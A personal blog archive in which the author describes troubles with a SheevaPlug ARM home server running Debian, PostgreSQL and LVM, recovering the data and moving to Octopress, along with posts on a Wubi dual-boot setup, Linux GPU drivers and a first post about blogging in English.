So, to hope to get any security updates for any meaningful length of time, without going to an even less familiar land, the best choice was Debian 6, Squeeze… obviously, to install an alternate os I had to update the builtin bootloader: U-boot.
To further complicate my life, at the time I tasted the almost-effortless (but not perfect) experience of Time Machine backups on MacOSX, and so I wanted to replicate the same thing, both for my Linux system and for my MacOSX partition (which I got rid of since then, due to having space as a premium on an SSD). To do it I had to use Netatalk but at the time there were no precompiled ARM debian packages for it… I tried both to crosscompile it and to compile it directly on the sheevaplug, long story short: it was too much of an hassle.
The plan was to use it as network share (also for backups), local apt mirror, Squid proxy, web server, ssh tunnel, etc… Except for the Netatalk sharing (for linux I was satisfied with NFS) and the Squid proxy, I got all of this working; but the script I used to sync the apt mirror was failing often and I wasn’t using that many machines contemporarily to warrant its use. Moreover the lan backup was weirdly taking too much time (the software I was using probably assumed RTT of a local disk, not a network one).
At the end, due to these shortcomings, I never really made use of the 3 different lvm logical volumes I had on the sheevaplug, now I hear you saying:
What? LVM on a sheevaplug?
Well, yes… it was also a learning exercise after all, and it seemed nice to use volumes like these instead of some other quota mechanism… then again, the only physical volume resided on an external usb hard drive, so don’t think too much about it. :P
So, the technical problem I got was that the lvm volumes weren’t being mounted anymore, and I had to manually remount them each time (possibly by resetting the device, since I kept lots of system files, like the ones in /usr/share, on the usb drive)… The drive and the lvm volumes alone seemed to be ok, since I could keep them mounted undefinitely on my desktop machine: A posteriori, this might have made me doubt about some other problems with the arm box (memory? usb?).
So, I finally managed to get my still-unstyled blog application online with the Cherokee web server and the Postgresql db. I planned to use sqlite at the beginning, due to the very small audience, but I couldn’t run wsgi with a single worker, and multiple workers were incompatible with sqlite. But then I had to move all the data from the usb drive to a smallish (2GB) usb flash memory.
This was almost all fine and dandy, except that I never managed to get Cherokee and Postgres (upon which the workers depended) to automatically start at boot time, and weirdly there was absolutely no error on the logs… But given that I wasn’t rebooting it that much often, I just ignored it, until…
The problem I mentioned at the beginning happened: now I couldn’t start Postgresql anymore… this meant I couldn’t even use pg_dump for the backup.
I resorted to manually backup the cluster files, and then I tried to purge and reinstall the package, but apt-get kept failing… I don’t know if it was again a systemic problem or if instead it was a known problem with the debian postgresql packaging, but I was wary of running the fix of “find and delete everything postgre-related” since I wasn’t able to recover my data just yet…
To make things worse: when I finally managed to get a postgresql install loaded with the cluster from the sheevaplug on my desktop machine, I sadly realized that it wasn’t compatible: it was compiled with different float optimization, and basically an x86 db, x64 or arm db are all mutually incompatible with each other due to that. Now that I’ve done a bit more coding with binary files, I’m a little bit skeptical about the technical reasons underlying that incompatibility: Just look at Python’s struct module, the only way you can get something that is platform dependent, is if you ignore all the flags that let you specify the endiannes of the data, and if instead you roll with the native choice… It seems to me almost like that somewhere in the Postgresql code, there’s a struct that’s mapped directly to disk; but obviously it won’t be this easy, I expect that code to have several layers of abstraction.
So, I got stuck with a non-working postgresql install, a possibly flaky hardware, a backup I couldn’t access and a half-finished blogging software… no wonder that I wasn’t feeling motivated to get back to blogging.
At the end, I realized that the very blog software I started writing, while a learning experience, was also not really what I wanted to do: what I wanted to do was to make something that other people could appreciate and use, and without any other people to motivate me to finish it, it just languished.
In fact, I failed to keep plain-text backups of my blog content, I added code to handle diffs between one post and another, I added OpenID login for the admin interface… I was basically rebuilding something that I could’ve got for free by using a VCS and ssh access, just like what’s being used by the several static site generators available on the net.
And then there’re the obvious benefits of static sites: negligible server load, and a lot less moving parts that can possibly go awry… more frugal and ecologic even :) I already planned to avoid handling comments on my own with my blog software, so relying on Disqus or similar services wasn’t even a problem.
With that said: yesterday I whipped up Qemu, created an ARM debian box, sweared a bit at some other unintuitive postgresql errors, and finally got my data back… and Now I finally started blogging again, this time as an Octopress blog running on github pages.
It isn’t perfect, and I already witnessed a small problem that seems undocumented: markdown files with spaces in the name break the hyperlinking. But overall I’m satisfied with moving to a simpler, more popular, and -ultimately- saner solution :)
So, where does this leave me? In this last year a lot of small things happened, but I’m still not in the place that I want to be… but limiting myself with the bigger topic of this post, among the consequences of such an ordeal, I now grok better this nugget of wisdom.
In fact, I think that I should refrain from pursuing projects, if those aren’t truly needed by other people, and if those people aren’t around to motivate me to work on them. I should focus more, and to do that, one obvious approach is to start learning less of the random things that I stumble upon almost daily.
Another thing, is a small and healthy distaste for arm machines. I mean: I have an arm smartphone, they can indeed be more power efficient, and they apparently got most of the mobile market… but if you’re thinking of buying one for your personal use, you should ask yourself: Do I really need it?
If you’re building a company on top of that hardware, by all means: go for it. But otherwise, I can’t avoid but think that I could’ve spared myself many hassles by developing my small home server on a simple x86 box, maybe a small netbook (it isn’t easy to get a cheap and small enclosure + microitx box from what I’ve seen)… that could’ve been much more reliable than my sheevaplug, while slightly more power consuming (and it would’ve even been easier to use locally, since I could’ve avoided the flaky usb debug port to be used through screen).
This very thing also applies for the recent craze about RaspberryPis; I have seen a friend using one as media center, but still he was complaining that not always the frame-rate was perfectly smooth (just to point out that’s not perfect for every purpose). You should ask yourself: Am I already doing something that could benefit from the smaller physical size and power footprint of such a machine? If you aren’t I think it’s better to start with an existing prototype of such a software/system, and move to ARM only when you really need it.
It took me more time than I expected to write up this second post, I hope to be able to ramp up the rhythm soon.
The reason is that I haven’t really wrote this up by impulse… In fact I wanted to write this since quite some time, and in the meanwhile in the last days, I was busy planning a small Jam along with other small misc duties.
Two years and a half ago I bought a new desktop computer, it had to be shared with my family, so I planned that it would’ve run Windows alongside Linux.
That’s not too bad, since having the opportunity to run games or other software natively on Windows is nice to have, but the truth is that being this only a secondary computer for me, it would’ve run Windows most of the time.
So, to test something that I hadn’t tried yet at the time (that would’ve been useful in case someone dropped by our LUG asking for support about it) and to skip chainloading the Windows bootloader (thus potentially slowing down the boot, something I didn’t want: Given that I used an ssd as a boot drive, I wanted to avoid such things, even if it would’ve only a marginal effect) I chose to use wubi.
For those that don’t know about it: it avoids changing the bootloader with grub and installs ubuntu in a loopback mounted virtual disk (a normal file under windows). It was quite neat, but I stumbled upon some nasty issues when upgrading to grub2, such as this bug.
At the end, I’m not quite convinced of the tradeoff in complexity for new users, given the potential nasty edge cases…
Btw, I also decided to try some other things I didn’t really have much experience in linux… One of these, if I remember correctly, was Ext4; while the other was simply installing Linux on an ATI gpu.
ATI has always had a bad reputation among linux users, but when I chose the hardware for that desktop, the Radeon 4890 seemed like a nice choice, and I was curious about proving that wrong.
In fact, it’s been some years now that they started an effort to supply a good OSS driver for their cards. Sure, you can still be out of luck when running a bleeding edge distribution, due to the delay in updating the drivers to get them working with the latest changes in Xorg and such…
Surely, I still found Intel gpu drivers, to be more stable (even if lacking in OpenGL features and performance, and obviously I’m not counting the horrible GMA500), but I find it strange that Linux people are still preferring Nvidia over Ati, when they’re being so hostile by removing support to their old 2d-only open source driver altogheter without commiting to help the Nouveau project.
I’ve also seen plenty of times, Linux users with an Nvidia powered laptop, struggling to set up correctly an external display/beamer, this due to the fact that Nvidia doesn’t support xrandr1.2 and pushes for their own TwinView option, with their own configuration tools, and their own set of problems.
With this setup, I’ve been able to see some interesting things: like the performance of the loopback drive… by doing a readonly benchmark inside palimpsest I noticed that it was about half of the performance when directly accessing the ntfs drive (that, being a 30GB SSD, is thus really tight for hosting 2 OS installations)
I also chose to keep all the user configuration files on the SSD, and move only huge things on the secondary traditional hard drive… Thanks to the fact that both Linux and Windows Vista support symbolic links, this gives me quite a bit of flexibility in setting that up. That said, I don’t think that the small advantage of being able to load chrome’s sqlite dbs faster and such things outweighs the time lost cramming everything into such a small space and tracking down rogue programs/users when those filled their home folder (not to mention the pain of setting up all the symlink for each new user).
In fact I think I won’t ever use such a directory layout… Heck: it’s 2012, we aren’t supposed to micromanage disk space this way anymore.
Wait… are you asking “what are those characters?”
Well, that’s supposed to be “Hello world” in korean, I jut put it there to test unicode url in my brand new blog :D
…and yes: obviously, this is my first post, and since I somewhat like the korean alphabet, I found that using that as the title was somewhat fitting :)
This is not really noticeable from this very very simple page, but I actually spent quite a bit of time on the backend. It’s still missing styles, rss, a working pagination, javascript goodness and a bunch of things… but at least now the basics of the blog are there, I can start writing content, and then I’ll just integrate the missing features (you know… minimum viable product :P)
Also: for now I’m using a crappy .co.cc domain, but as soon as I’ll be able to host something meaningful here, I think I’ll switch to something better
It’s been more than 3 years since I first had the idea of running my own blog, why did it take so long?
Well… aside from my usual procrastination problem, this is due to the fact that I decided to create it from scratch, and I decided to impose on myself some very weird requirements
Like the ability to automatically redirect the urls when an user does a typo, or keeping semi-automatically an image of my mug for each post (a bit narcissistic, but this way I hope to preserve a log of the mood in which I was when writing these posts, and in the long term I’ll be able to see how I changed… like in those fancy timelapse videos)
For now, I’m also hosting this directly on my home internet connection on a Debian squeeze, running on arm (and I had quite a bit of problems with my hardware setup, but I think I’ll write about it in another post)
So, I’ll progressively add more info about myself, what I’m working on, what I find interesting, and possibly my unrequested opinion on the issue du jour :P
I’m writing all of this in english, and I plan to refrain altogether to write in my native language (Italian) for several reasons:
Most of the content on the internet is in english, and it has a bigger audience.
People who restrict themselves only to their native language imho are crippling their access to knowledge… in particular, in the IT field, being proficent in it is almost a must, and I think that if you have the possibility to directly engage with the english-speaking world/community/whatever you should do so. You could say I’m doing it out of a personal principle.
I’m planning on making a life abroad… sticking to my native language doesn’t make sense.
The only things for which speaking to a strictly italian audience may make sense is for internal politics topics or similar issues, but given the sheer idiocy of the current state of italian society, I think it’s better to ingnore all of that and work on what we can actually improve.
Obviously, also to get the hang to write some somewhat long prose in english (I don’t really have problems communicating, but I’m not really fluent: I periodically stop to think for the best word to use, and I also think that when writing I just structure too many sentences in first singular person form, and split the text in an ugly and self-centered way, native english people probably find my writing style childish and less clear to follow).
This last point, will apply only if I’ll be able to keep up with this habit :D We’ll see.
